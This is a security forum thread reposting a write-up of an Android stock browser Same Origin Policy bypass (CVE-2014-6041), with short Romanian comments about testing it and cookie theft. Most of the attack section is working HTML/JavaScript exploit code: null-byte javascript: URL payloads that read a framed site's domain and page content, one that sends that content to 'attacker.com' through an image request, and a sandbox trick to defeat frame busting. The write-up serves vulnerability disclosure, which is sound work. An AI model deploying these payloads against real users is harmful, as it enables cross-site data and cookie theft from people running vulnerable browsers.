SirGod Posted September 17, 2014 Report Posted September 17, 2014 Testat, functioneaza. In cazul in care folositi browserul default din Android, renuntati la el, cel putin momentan. [h=4]Introduction[/h]Same Origin Policy (SOP) is one of the most important security mechanisms that are applied in modern browsers, the basic idea behind the SOP is the javaScript from one origin should not be able to access the properties of a website on another origin. The origin is formed by the combination of Scheme, domain and port with the port being an exception to IE. There are some exceptions with SOP such the location property, objects wtih src attribute. However, the fundamental are that different origins should not be able to access the properties of one another.[h=4]SOP Bypass[/h]A SOP bypass occurs when a sitea.com is some how able to access the properties of siteb.com such as cookies, location, response etc. Due to the nature of the issue and potential impact, browsers have very strict model pertaining it and a SOP bypass is rarely found in modern browsers. However, they are found once in a while. The following writeup describes a SOP bypass vulnerability i found in my Qmobile Noir A20 running Android Browser 4.2.1, and later verified that Sony+Xperia+Tipo, Samsung galaxy, HTC Wildfire, Motrorolla etc are also affected. To best of my knowledge, the issue occurred due to improper handling of nullbytes by url parser. Update: Other folks have verified this issue to work under Android browser < 4.4. Ref - https://github.com/rapid7/metasploit-framework/pull/3759The following is a proof of concept:[h=4]Proof Of Concept[/h]<iframe name="test" src="http://www.rhainfosec.com"></iframe><input type=button value="test"onclick="window.open('\u0000javascript:alert(document.domain)','test')" >As you can see that the code tries accessing the document.domain property of a site loaded into an iframe. If you run the POC at attacker.com on any of the modern browsers, it would return a similar error as attacker.com should not be able to access the document.domain property of rhainfosec.com.Blocked a frame with origin "http://jsbin.com" from accessing a frame with origin "http://www.rhainfosec.com". Protocols, domains, and ports must match. vagugebiweja:7However, running it on any of the vulnerable smart phones default browsers would alert the document.domain property indicating that the SOP was not able to restrict the access to document.domain property of a site at a different origin.I created the following POC, so you can mess around with some stuff:[h=4]Reading the response[/h]You can read the response of any page by accessing the document.body.innerHTML property.<iframe name="test" src="http://www.rhainfosec.com"></iframe><input type=button value="test"onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')" >[h=4]Reading the response and sending it to an attackers domain[/h]In real world situation an attacker would send the response to his controlled domain. <iframe name="test" src="http://www.rhainfosec.com"></iframe><input type=button value="test"onclick="window.open('\u0000javascript:var i=new Image();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >[h=4]Bypassing Frame Busting Code[/h]A lot of websites still use frame busting code to prevent the page from being prevent and since we can only bypass SOP here when the site could be framed. In case, where the site is using a frame busting code, we can bypass it using the sandbox attribute that was introduced as a part of HTML5 specifications.<iframe name="test" src="http://www.rhainfosec.com" sandbox></iframe><input type=button value="test"onclick="window.open('\u0000javascript:var i=new Image();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >Update: A metasploit module has been released by jvennix-r7 which also supports x-frame-options bypass making it a completely universal exploit. Ref - https://github.com/rapid7/metasploit-framework/pull/3759[h=4]Affected Versions[/h]The initial tests were carried out on android browser 4.2.1 (Qmobile) and below and later verified with Galaxy S3, HTC wildfire, Sony Xperia, Qmobile etc.The following are some of the smartphones i tested with browserstack.com.[h=4]Samsung Galaxy S3[/h][h=4]Motrorolla Razr[/h][h=4]Sony Xperia Tipo[/h][h=4]HTC Evo 3D and Wildfire[/h]Sursa:Android Browser Same Origin Policy Bypass < 4.4 - CVE-2014-6041 | Learn How To Hack - Ethical Hacking and security tips Quote
Nytro Posted September 17, 2014 Report Posted September 17, 2014 L-a testat cineva? Ce s-a putea face practic: cookie stealing. Quote